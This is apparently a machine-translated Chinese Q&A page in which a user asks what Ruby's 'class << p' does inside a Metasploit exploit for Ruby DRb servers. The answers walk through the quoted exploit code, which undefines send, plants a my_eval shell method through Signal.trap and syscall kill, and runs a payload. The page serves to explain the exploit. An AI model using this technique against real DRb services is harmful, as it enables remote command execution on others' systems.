[英]Understanding ruby syntax “class << variable”
我一直在使用metasploit查看DRb中的旧bug,它使用以下方法:
def exploit
serveruri = datastore['URI']
DRb.start_service
p = DRbObject.new_with_uri(serveruri)
class << p
undef :send
end
p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
rescue Errno::EBADF
# 64 bit system
pid = p.send(:syscall, 39)
p.send(:syscall, 62, pid, 23)
end
p.send(:my_eval, payload.encoded)
end
我不是一个红宝石程序员,但我对除了几行以外发生的事情有一个普遍的认识。
任何人都可以解释第5-9行中发生的事情吗? (从“class << ...”开始)
class << p
undef :send
end
这未定义对象p
的send
方法( send
用于在接收器上动态调用方法)。
它这样做是为了利用DRbObject
的method_missing
实现,它将方法调用路由到远程对象。 我对DRb
不太熟悉,但我猜这可能是为了让事情超过DRbServer
的check_insecure_method
检查,但是我会把它作为练习留给你,因为它超出了问题的范围在这里问。
一旦它通过method_missing
实现了它需要做的任何事情,它就会在服务器进程上向Object
添加一个方法my_eval
,然后使用system
将有效负载作为shell命令执行。
class << p
undef :send
end
此块未定义在本地DRbObject
实例上send
。 正如Michael所指出的,如果DRbObject
没有定义方法,它将使用method_missing
将方法调用路由到远程服务器。
在这种情况下,所有后续send
调用将被路由到远程服务器并在那里进行评估,而不是本地实例。
p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")
这会触发带有信号23的Signal.trap
和一个似乎包含一块代码的符号,如果进行了评估,它将在Object
上创建一个方法,该方法提供对shell的直接访问。
根据文档, Signal.trap
可用于在从操作系统接收特定信号时运行块或命令。 目前还不是很清楚命令是什么,所以我做了一些游戏。
> pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test #=> 1
看起来符号形式的命令将转换为字符串,然后由Signal.trap
进行eval
。
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
本节触发调用Unix内核函数的Kernel#syscall
。 rescue
位处理64位系统调用号码。 我们来看看这里的32位部分:
p.send(:syscall, 20)
应该评估为sys_getpid()
p.send(:syscall, 37, pid, 23)
应该评估为sys_kill(<pid>, 23)
。 这将触发为信号23
设置的早期陷阱。 总之,漏洞利用:
method_missing
send
强制消息 method_missing
触发Signal.trap(23)
其中一大块ruby代码转换为符号形式的单行字符串 Kernel#syscall
获取当前正在运行的进程的PID Kernel#syscall
来调用kill -23 <pid>
,这会导致在2中设置的陷阱触发,这反过来会破坏提供的符号,在Object
上创建my_eval
方法,提供对system
访问(shell命令行访问) my_eval
方法 参考文献:
http://syscalls.kernelgrok.com/
https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap
https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.